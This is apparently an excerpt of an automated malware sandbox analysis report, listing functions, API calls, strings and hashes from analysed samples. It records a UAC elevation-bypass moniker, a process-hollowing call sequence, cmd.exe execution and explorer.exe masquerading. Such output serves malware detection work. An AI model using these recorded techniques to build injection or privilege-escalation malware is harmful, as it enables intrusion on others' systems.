LoadLibraryA.KERNEL32(ntdll.dll), ref: 0040D3A8

Strings

kernel32.dll, xrefs: 0040D1F9
ntdll.dll, xrefs: 0040D3A3
advapi32.dll, xrefs: 0040D331

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: LibraryLoad$HandleModule
String ID: advapi32.dll$kernel32.dll$ntdll.dll
API String ID: 2593893887-1356967432
Opcode ID: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction ID: ca720bcfbdb204521244a6d16e88fbee784b87e4b750a5d7fd7297a05bd30f3d
Opcode Fuzzy Hash: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction Fuzzy Hash: DC511DF2D10210EFD304BFA1BCC28393AB5E649305744457FF985A72A1F6B9A9448B6B

Uniqueness

Uniqueness Score: -1.00%

Function 00405312 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.NTDLL(C0000023), ref: 004037E8
RtlRestoreLastWin32Error.NTDLL(00000000), ref: 004037EF
RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

#, xrefs: 00408385

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Error$EnvironmentExpandInitLastRestoreStatusStringStrings_UnicodeWin32
String ID: #
API String ID: 4202685462-1885708031
Opcode ID: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction ID: 2625ad76528c3a05819e41784e94355af3192e6a8ec1aace2841fc774e878e1c
Opcode Fuzzy Hash: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction Fuzzy Hash: D5115175D14209EFDB14DFE4C984AAEBB79EF08301F10856AE915B32C0EB789705CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00409727 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

Strings

Elevation:Administrator!new:, xrefs: 0040D196
$, xrefs: 0040D1CB

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID:
String ID: $$Elevation:Administrator!new:
API String ID: 0-4251798642
Opcode ID: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction ID: 0ae50f5eb3c30b6def060569edfd5a96dae8f03997bbe75f6d7b2be729599e56
Opcode Fuzzy Hash: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction Fuzzy Hash: B31154B1C1020CABCB10EF94DD85AEE7778AB54305F14456AFA097A181E738EB44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D17F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

CoGetObject.OLE32(?,00000024,?,?), ref: 0040D1EB

Strings

Elevation:Administrator!new:, xrefs: 0040D196
$, xrefs: 0040D1CB

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Object
String ID: $$Elevation:Administrator!new:
API String ID: 2936123098-4251798642
Opcode ID: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction ID: b31a3ccbf289bc63fcd2c03f84205c468a6b0dd351633bc6c62a4601e098767b
Opcode Fuzzy Hash: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction Fuzzy Hash: 140162B2810208ABCB05EF90DC95DDE7B78AB18305F08455EF9057A181EB39E748CB75

Uniqueness

Uniqueness Score: -1.00%

Function 004063CE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Part of subcall function 00405312: RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
Part of subcall function 00405312: RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

%systemroot%\system32\cmd.exe, xrefs: 00406402
/C , xrefs: 0040640F

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Process$ChangeCloseEnvironmentExitExpandFindFreeInitLocalNotificationOpenStringStrings_TokenUnicode
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 1629495445-3057154508
Opcode ID: e58d919228d2999fb42e63e86339d7c771dc9b38e1630fc07efea9b8c1ce01d4
Instruction ID: 6885a5c3f576ce6d6f9b2f3c688c14414178aeb406d1450dcc701d4c4953fbe4
Opcode Fuzzy Hash: e58d919228d2999fb42e63e86339d7c771dc9b38e1630fc07efea9b8c1ce01d4
Instruction Fuzzy Hash: 88F0A4F280030866CB10EB70DC46FDA33389B14305F0045BAB609B60C2EE7997C88AAD

Uniqueness

Uniqueness Score: -1.00%

Function 004050A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,00660000), ref: 004050CC
RtlInitUnicodeString.NTDLL(?,explorer.exe), ref: 004050DE

Strings

explorer.exe, xrefs: 004050D2

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: InitStringUnicode
String ID: explorer.exe
API String ID: 4228678080-3187896405
Opcode ID: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction ID: 050ed0569a6514cfdb40d37d4b6a842c1993e2635d6f26a1999b978f90a0d4ff
Opcode Fuzzy Hash: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction Fuzzy Hash: BAF09074204248EFCB04CF54C880E6ABBA6FB49304F20855AFC0597381C674ED91CB9A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 6732, Parent PID: 6592COMMON

Execution Graph

Execution Coverage:	31.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	48
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 04A94004 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 453
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 04A9441C
VirtualProtect.KERNELBASE(?,?,?,?), ref: 04A94440
VirtualProtect.KERNELBASE(?,?,?,?), ref: 04A94467
VirtualAlloc.KERNELBASE(?,?,?,?), ref: 04A94575

Strings

N{C~, xrefs: 04A940EB

Memory Dump Source

Source File: 0000000C.00000002.1940152928.0000000004A91000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a91000_regsvr32.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID: N{C~
API String ID: 2541858876-1858221918
Opcode ID: 94ce8d56b4ec6a1edf4a8b53f7bb686da3965542b27ca40a920f0472fe235bd7
Instruction ID: 93e6f71fcc058bb20e6ac815aee7279b1696a2d3bc0221eb04b0889be5f4c2d2
Opcode Fuzzy Hash: 94ce8d56b4ec6a1edf4a8b53f7bb686da3965542b27ca40a920f0472fe235bd7
Instruction Fuzzy Hash: E71276766083418FDB28CF24C8917EABBE2FBC8314F15896DE58ACB354DB35A805CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04BE1C50 Relevance: 1.7, APIs: 1, Instructions: 247
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 04BE1E0D

Memory Dump Source

Source File: 0000000C.00000002.1941054304.0000000004BE1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4be1000_regsvr32.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 08e42061f254645e449e932b5d4c2c1724f162e9b8ad6484fed474a73bcb28e5
Instruction ID: e2dcfff7a74ff11e33807dc4601fbe73addb39a9c4d6f364daa4fcc149cb4b39
Opcode Fuzzy Hash: 08e42061f254645e449e932b5d4c2c1724f162e9b8ad6484fed474a73bcb28e5
Instruction Fuzzy Hash: BFA1B736A183508FD724CF29C88066AB7E3FFC9310F168A5DE9959B354D774AC058B81

Uniqueness

Uniqueness Score: -1.00%

Function 04BE9E00 Relevance: 1.7, APIs: 1, Instructions: 225
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 04BEA0DA

Memory Dump Source

Source File: 0000000C.00000002.1941054304.0000000004BE1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4be1000_regsvr32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: ca998553722175db694a8e2dbc93916541beb84188521135e71a5c547019c7e1
Instruction ID: 48847d7fd67a18c8c16c45ded1f9ad26617404970d3ae61212954256b4ae7d56
Opcode Fuzzy Hash: ca998553722175db694a8e2dbc93916541beb84188521135e71a5c547019c7e1
Instruction Fuzzy Hash: 40A15C72A002288FDB24CF69DC40B9EB7B6FF88310F168199D949A7355DB35AD85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04BE1000 Relevance: 1.7, APIs: 1, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?,?), ref: 04BE117E

Memory Dump Source

Source File: 0000000C.00000002.1941054304.0000000004BE1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4be1000_regsvr32.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: cd67a2e133291ec71256c31eff13ad44f76ce3e216f4623ee7ce946ebacce9ac
Instruction ID: a8894642f1ba28bb708a36cb664adc18022349149f8ea4dd6931d5e40b03c9bf
Opcode Fuzzy Hash: cd67a2e133291ec71256c31eff13ad44f76ce3e216f4623ee7ce946ebacce9ac
Instruction Fuzzy Hash: C0917F76A083508FD724CF29C85166AB7F2FFC9310F26896DE48997355CB34E816CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04BEB330 Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 04BEB589

Memory Dump Source

Source File: 0000000C.00000002.1941054304.0000000004BE1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4be1000_regsvr32.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 44ddf25973de2e231d572a1ad9ea901a402741c9e47dac6cfdf547c611e4417b
Instruction ID: 3a2796c350b345598c84a251fd52ea9eb39baaac9504e78967f728a934dafe41
Opcode Fuzzy Hash: 44ddf25973de2e231d572a1ad9ea901a402741c9e47dac6cfdf547c611e4417b
Instruction Fuzzy Hash: 5081AF766183418FD324CF29C98066AB7E2FFC9310F568AADD98897354DB30F846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04BEAC80 Relevance: 1.5, APIs: 1, Instructions: 207
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 04BEADCD

Memory Dump Source

Source File: 0000000C.00000002.1941054304.0000000004BE1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4be1000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f9c2cb6a88e5c1b58b42bde82e5bfaff77a35481d040f1ffb9c648ac0787de15
Instruction ID: 4ccd7d5fc53d875653ebc95c7263412e69c085021133af4fd070000a7004674a
Opcode Fuzzy Hash: f9c2cb6a88e5c1b58b42bde82e5bfaff77a35481d040f1ffb9c648ac0787de15
Instruction Fuzzy Hash: 9E816F726083418FC718CF29C89066AF7E7FBC8314F59896DE99A97394D774E805CB81

Uniqueness

Uniqueness Score: -1.00%

Function 04BE1330 Relevance: 1.4, APIs: 1, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 04BE146C

Memory Dump Source

Source File: 0000000C.00000002.1941054304.0000000004BE1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4be1000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 76d8659ffc92ab42a956ebd88e351c1620a245d25f85d63ebed0208107105d07
Instruction ID: dc71f58ba5c59a7afd52d2a50d5932a2ffe5c5a740c05d32675cdb1ef7929f05
Opcode Fuzzy Hash: 76d8659ffc92ab42a956ebd88e351c1620a245d25f85d63ebed0208107105d07
Instruction Fuzzy Hash: 457184766083508FD328CE6DC99066BB7E3FBC5310F15CA6DE4C987398D734A8458B92

Uniqueness

Uniqueness Score: -1.00%

Function 02C41C0B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 02C41C62
VirtualProtect.KERNELBASE ref: 02C41CE3

Strings

`, xrefs: 02C41E42

Memory Dump Source

Source File: 0000000C.00000002.1939701119.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c40000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID: `
API String ID: 544645111-2679148245
Opcode ID: 698d95b95f5840f1de5ce8819af676bca65a36ba7ed1c5da3e21b70e6da445ee
Instruction ID: 6fdeeffaeb314d10607cbe12966d3b23c38d02c59359f581f46d737f6d6f944b
Opcode Fuzzy Hash: 698d95b95f5840f1de5ce8819af676bca65a36ba7ed1c5da3e21b70e6da445ee
Instruction Fuzzy Hash: 4051BBB8D042088FCB14DF99C594A9EFBF1FF88310F25816AD958AB356D774A884CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02C41D10 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 122
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 02C41DF3

Strings

`, xrefs: 02C41E42

Memory Dump Source

Source File: 0000000C.00000002.1939701119.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c40000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID: `
API String ID: 544645111-2679148245
Opcode ID: fb63396a7fb29c34248b7c9a25c10407a9c7ac0ebb1898c06c8cd53c2c27afe8
Instruction ID: 230ea801964b7e1bedc79b45f0902ab8e740ae17d2ae81497a5c42c91284e9ff
Opcode Fuzzy Hash: fb63396a7fb29c34248b7c9a25c10407a9c7ac0ebb1898c06c8cd53c2c27afe8
Instruction Fuzzy Hash: 96517EB5E002288FDB64CF19C880B99BBB1BF49314F1581EAC94DA7342D775AE85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02C41A93 Relevance: 1.3, APIs: 1, Instructions: 85
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 02C41B0B

Memory Dump Source

Source File: 0000000C.00000002.1939701119.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2c40000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1527c1b9013ce66b5f1fa62b1ba55bc1b589e87de612b596ce30047bd14d4851
Instruction ID: 9237fa88647f468c31e02c829bdce613beaa4368f70ce00ba2f4f46f6e2b2edd
Opcode Fuzzy Hash: 1527c1b9013ce66b5f1fa62b1ba55bc1b589e87de612b596ce30047bd14d4851
Instruction Fuzzy Hash: 3641E0B0D012058BDB44DFA8C1547AEBBF1FF48308F24856ED858AB341D7BAA946CF91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 87C6.exePID: 6980, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	3.2%
Signature Coverage:	2%
Total number of Nodes:	1177
Total number of Limit Nodes:	27

Executed Functions

Function 02590110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02590156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0259016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02590255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02590270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02590283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0259029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 025902C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 025902E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02590304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0259032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02590399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 025903BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 025903E1
ResumeThread.KERNELBASE(00000000), ref: 025903ED
ExitProcess.KERNEL32(00000000), ref: 02590412

Memory Dump Source

Source File: 0000000E.00000002.1990420801.0000000002590000.00000040.00001000.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2590000_87C6.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: e71f303bade23dde5dae0db4c593321e2c6a114cab23b8b81b67a50db087bebb
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: BCB1C774A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 005CBF60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimes.KERNEL32(00000000,00000000,00000000,?,?,?,004015D9,00400000,?,00000000,0000000A), ref: 005CBFA3
FlushFileBuffers.KERNEL32(00000000,?,?,?,004015D9,00400000,?,00000000,0000000A), ref: 005CBFC9
GetVolumeInformationW.KERNEL32(Xediko poxucaze mavegogeje,?,00000000,?,?,?,?,00000000,?,?,?,004015D9,00400000,?,00000000,0000000A), ref: 005CBFF0

Strings

Xediko poxucaze mavegogeje, xrefs: 005CBFEB

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: BuffersFileFlushInformationSystemTimesVolume
String ID: Xediko poxucaze mavegogeje
API String ID: 2067870256-956893252
Opcode ID: 9c29d636fe28b14d3de728b9c223744619c8f181c28315f7079e307b9bcecf7e
Instruction ID: 87dcb88028291979576ac45ced47dbc9f44253d819400ab168a2741bc158dbd3
Opcode Fuzzy Hash: 9c29d636fe28b14d3de728b9c223744619c8f181c28315f7079e307b9bcecf7e
Instruction Fuzzy Hash: D72199726152009FE330DB94DC45FAAB7A8F7A8714F01052FE184D72D4D7B4A9499BA2

Uniqueness

Uniqueness Score: -1.00%

Function 005CB070 Relevance: 26.5, APIs: 3, Strings: 12, Instructions: 233
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(005DDB30,0BB7EA7B,4BBE82DD,2FC43CC7,52860AB1,6AD71B2C,43FE4454,34026A25), ref: 005CB8E8
GetProcAddress.KERNEL32(00000000,VirtualProtect), ref: 005CB8F4
VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 005CB914

Strings

6, xrefs: 005CB1E8
F(+, xrefs: 005CB12E
o:?, xrefs: 005CB70D
X2R, xrefs: 005CB29F
)?u, xrefs: 005CB785
VirtualProtect, xrefs: 005CB8EE
v;^:, xrefs: 005CB4C8
dFfX, xrefs: 005CB395
O8##, xrefs: 005CB304
R'._, xrefs: 005CB470
:/X, xrefs: 005CB3AB
U99x, xrefs: 005CB1D2

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: AddressLibraryLoadProcProtectVirtual
String ID: )?u$:/X$F(+$O8##$R'._$U99x$VirtualProtect$X2R$dFfX$v;^:$o:?$6
API String ID: 3509694964-2834981808
Opcode ID: b384f59d4b4bb60364d658c9fb51883fdb790552a802292acc0393d197c4be19
Instruction ID: 114222216d86862ff262c135b643685e00db7299ddb832d236b655078086c967
Opcode Fuzzy Hash: b384f59d4b4bb60364d658c9fb51883fdb790552a802292acc0393d197c4be19
Instruction Fuzzy Hash: 0C02A6B400E385CBD2B09F469689B8EBBF0BB91708F618E0DD5DD1A224CB754589CF97

Uniqueness

Uniqueness Score: -1.00%

Function 02590420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02590533

Strings

d, xrefs: 02590584
0, xrefs: 02590492
mfoaskdfnoa, xrefs: 02590520, 02590523
saodkfnosa9uin, xrefs: 025904DA

Memory Dump Source

Source File: 0000000E.00000002.1990420801.0000000002590000.00000040.00001000.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2590000_87C6.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: ded61104ceecf24b4fdf00cbe7125cddabe30f58d8c82e1a01c588d7f32b7e3e
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 86510870D08388DAEF11CBA8C849BDDBFB2AF11708F144058D5486F2C6C3BA5A58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 025905B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 025905EC

Strings

apfHQ, xrefs: 025905E2, 025905E5
o, xrefs: 02590600

Memory Dump Source

Source File: 0000000E.00000002.1990420801.0000000002590000.00000040.00001000.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2590000_87C6.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 9691c49a11babdf1c1a7ac1102ae81560e4cca2e4096817e99ec8a3f95db1cfe
